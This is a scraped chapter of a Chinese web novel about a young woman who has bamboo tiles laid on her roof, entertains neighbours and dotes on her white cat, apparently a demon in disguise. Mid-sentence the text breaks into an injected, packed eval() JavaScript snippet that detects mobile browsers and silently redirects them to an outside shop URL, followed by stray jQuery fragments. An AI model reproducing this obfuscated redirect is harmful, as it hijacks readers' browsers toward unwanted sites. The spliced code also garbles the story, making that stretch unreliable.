昨日常乐宁将剩下的鸡肉干放在晒架上,杨大伯就来了。今早也是,她刚和白猫一起吃过早饭,杨大伯就敲门了。
常乐宁说:“杨大伯你这也太早了。”算时间应该是商铺门一开,杨大伯就到了,接着立马往回赶。
杨大伯笑说:“收了你的钱,就得把事办好。那两个瓦匠紧随我之后出的城,应该也快到了。”
说完把驴拴在院外,拉着板门进了门,昨日先运来的竹瓦就摆在院子里。
杨大伯说:“今日我不用车了,就这样放着,不用搬上搬下,一会儿取用也方便。”
常乐宁忙说:“谢谢杨大伯,你先回去歇息,晚些时候用完了我把车给你送回去。”
杨大伯摆摆手:“傻孩子,费那事,咱可是有驴。”
常乐宁笑说:“是,那到时让驴来拉回去。”
杨大伯还想留下来帮着照看,常乐宁知道他是怕她一个女娃单独在家不方便。
“我不是一个人,一会儿杨大娘和妙儿婶要过来吃茶。”
“阿惠要来,那我得赶紧走了,不然她又得替她嫂子叨叨我。”
杨大伯说着走出院门牵上小毛驴就往家走去。
常乐宁回到卧房对猫窝里的白猫说:“小白,一会儿来的人多,你若是害怕,就躲在被窝里。”
她走去床榻边,弯腰将被子平铺在床上,故意把被角处拱起一道缝隙,方便白猫钻。
“小白,你可以从这里钻。”
玉尘见女子盯着自己,他怕不给点回应,她会把他当三岁小娃一直教,就缓缓眨了一下眼。谁知女子一下变得激动起来。
“小白,你在跟我表达亲亲吗?”
玉尘:……亲什么亲,我没有。眨眼,只是眨眼。
他被这奇怪的理解气得握紧了拳头。
“小白,你小爪爪抓紧,是想踩奶吗?”
踩……踩……什么?!
在玉尘惊愕时,女子走了过来,将他的手放在她的掌心,眉眼弯弯道:“小白,来,再握紧小拳拳,我感受一下。”
猫摸过、吸过也亲过了,这小猫踩奶是什么样子她还没感受过。
玉尘惊得赶紧收回了手,这女子太奇怪了。
“咚~咚~”
在常乐宁逗猫正起劲儿时,响起了叩门声。是杨大娘和妙儿婶牵着陈晓月来了。
杨大娘把手中的竹篮给常乐宁,“煎了几张饼,一会儿瓦匠歇息可以吃。”
陈晓月拉着常乐宁的裙边问:“阿宁姐姐,大白猫还在吗?知道是男猫还是女猫了吗?”
常乐宁说:“在我屋里,刚被我逗生气了,一会儿我领你进去看。是只男猫,姐姐给取名叫小白。”
陈晓月说:“它那么大,该叫大白的。”
妙儿婶拉自家闺女说:“猫再大也是小动物,叫小白可爱。就像你长多高,也是晓月。”
陈晓月笑吟吟说:“娘是在夸我和小猫一样可爱。”
常乐宁让三人不要站在门口说话,让她们去堂屋坐着,她去烧水泡茶。
卧房里的玉尘,比之前更懵了。他转头看向他的尾巴,确实时刻警惕着没有上翘。
难怪突然就唤他小白了。
他隐隐记起女子提过,女猫取名小雪,男猫就叫小白。
所以,她是怎么知道的?
如杨大伯所说,瓦匠很快就来了。来的是两个四十岁左右的大叔,驾着驴车,上面放有木梯和手锤等杂七杂八的工具。
杨大娘帮忙招呼完后,说:“我们继续吃茶,他们是老手,不用我们管。”
两位大叔确实是老手,简单勘查一下屋顶后,就开始往上面挪瓦片,将瓦片堆放在屋脊上,两人一前一后开始铺装,动作可迅速了。
常乐宁带着陈晓月看了一会儿白猫,她卧房这边就铺完了。她还在想中午除了杨大娘带来的饼,再做些什么给大家吃,两位大叔就吆喝着收工了。
陈家的瓦房是杨大娘看着建的,她比较懂行,踩着木梯左右大致看了看,朝常乐宁点点头。
常乐宁将饼和水递给两位大叔,“大叔你们先歇息一会儿,我去取铜钱。”
五百文她一早准备好,就放在枕头下。
交了钱,工匠大叔把尾款已结的票据给她,揣着没吃完的饼就走了。
常乐宁感叹一句:“这么快我就住瓦房了。”
妙儿婶听见,说:“这还快呀,若不是你娘拦着,你早该住了。阿柔以前总说钱要给你攒着,房子不漏雨就行,让你爹不要瞎折腾。”
杨大娘见常乐宁上扬的嘴角一下耷拉下来,拍了妙儿婶一下。妙儿婶赶忙闭嘴,心想:我这是哪壶不开提哪壶。
常乐宁只是想到难怪娘亲走了后,胡爹打猎收成并不好,但办完胡爹的丧事,阿宁还能攒下这么多银两。
她摇了摇头说:“我没事,刚只是在想我们吃什么,家里还有两颗春笋,可以用腊肉炖汤或是清炒。”她昨天光想着给白猫买鸡肉,忘了多买一些吃食今日作招待。
妙儿婶说:“就吃笋,你给我,我回去做。顺便叫你婆婆来看看,咱阿宁自己攒钱住上瓦房了。”
去陈家吃过午饭回来,常乐宁去主屋给胡爹和苏柔上了一炷香,她看着牌位上写的名字,缓缓道:“胡爹、娘亲,阿宁今日给咱家铺上竹瓦了,我都忘了买些糕点来庆祝,下次给你们补上。”
“小白,没人了,你快出来吧。”
白猫钻到了被子里面。但它不是被吓得躲进去的,而是被她和陈晓月烦的。她俩那会儿一直围着它说话,白猫明显觉得被吵到了,用前爪盖住耳朵。却没想到这一聪明之举,引起陈晓月的惊叹,大呼:“这可比大伯家的驴聪明。”接着被迫又听了一阵小驴的犯蠢事件。
想起驴,杨大伯的板车还要还回去。
常乐宁见被窝里那一团没有要出来的意思,她蹲下掀起被子偷偷看了一眼,呼吸平缓,小家伙原来是睡着了。
她将被子的缝隙给它掀开多一些,怕它把自己闷着。
然后去陈家叫上陈晓月一起,去牵驴拉板车。小丫头蹦跶着说:“一会儿我来驾车,驾~”
上天似乎想让常乐宁第一时间感受到竹瓦房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491758|202264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的好处,她和白猫正在堂屋吃晚饭,灰蓝色的天空瞬间变得昏暗,淅淅沥沥地下起雨来。
常乐宁看向吃完鸡肉干,正在优雅地用爪子擦嘴的白猫,“小白,你听这声音是不是很好听。”
雨落在竹瓦上,发出“啪嗒~啪嗒~”的声音。
玉尘对下雨不感兴趣,他将手抬起按在桌上放着的陶壶上。白日女子不仅带着小女娃来骚扰他,她们喝茶,也没有给他倒上一杯,如今这壶茶早就泡得没味了。
常乐宁爱吸猫,她家猫爱吸茶香。等它吸够茶味,就该她吸它了。
她看着白猫按住茶壶肚上的小山竹,笑了笑说:“等我洗完碗就给你单独泡一杯,还是用那个大竹筒杯。”
这家里就只有一个竹筒杯,是女子漱口用的。若是可以选,玉尘并不想用,但用那杯子他不用等着女子帮他换茶,一次就能喝上许多,恢复的妖力比得上吃两日女子做的饭。
常乐宁给白猫泡茶时,看着纸包里剩下不多的茶叶,摸了摸守在一旁的白猫的脑袋说:“希望这雨就晚上下,不然明日就不好进山了。”
她没想到白猫每日都想闻茶香,这茶叶消耗很快,明日白天不下雨的话,她想去再采一些茶鲜叶回来,正好挖些竹笋。
她将泡好的茶放在方桌上面,让白猫慢慢闻,她去外面屋檐下做了一会儿饭后运动,就去洗漱了。
等她收拾完回到卧房,白猫如往日一样蜷成一团躺下了。她知道它在装睡,不过如此姿势正合她意,她将头埋在圆圈中心,用力地吸了两口,白猫瞬间便绷直了身体。
它想翻身逃跑,哪有那么容易。
常乐宁双手早就在旁边准备好,白猫身体一转,她便顺势将它抱入怀中,它好像知道跑不掉了,反而不挣扎了。
有了之前的教训,玉尘哪敢挣扎。女子穿得比白日更加轻薄,只有薄薄的一层中衣。他抬眼看向女子,一身白衣和披散的乌发,那含笑的眼眸在昏暗的灯光中格外明亮。
玉尘的心咯噔一声,似有一瞬异常的波动。他这是被吓着了?
开玩笑,他堂堂大妖会害怕鬼怪吗?定是女子盯着他的眼神太过骇人。
他决定闭上眼睛,不去看她。不就是对他的皮毛下手,他能忍。
常乐宁见刚刚还睁大眼睛看着她的白猫,忽地一下紧闭双眼,一副任人采撷的模样。
这样她还能跟它客气不成。
她低头将白猫从额头亲到小嘴,还在它脸上使劲贴了贴,在它小爪抓紧,耐心到了极限时,把它放进猫窝里,退后一步说:“小白,今夜伴着这天然白噪音肯定能睡得很好,晚安了。”
趁白猫一时愣神,又在它头上摸了一把,跑到床榻,迅速钻进被窝。
她以为白猫会生气地追上来反扑的事并没有发生,她侧身看去,白猫将身子调换了方向,用屁股对着她。
常乐宁无声笑了笑,心想:我家小白是只温柔的小猫。
玉尘能怎么办,他只能不停在心中默念:她救过我,她救过我……
她沾了一嘴毛,还一脸捡到宝的笑容,图什么?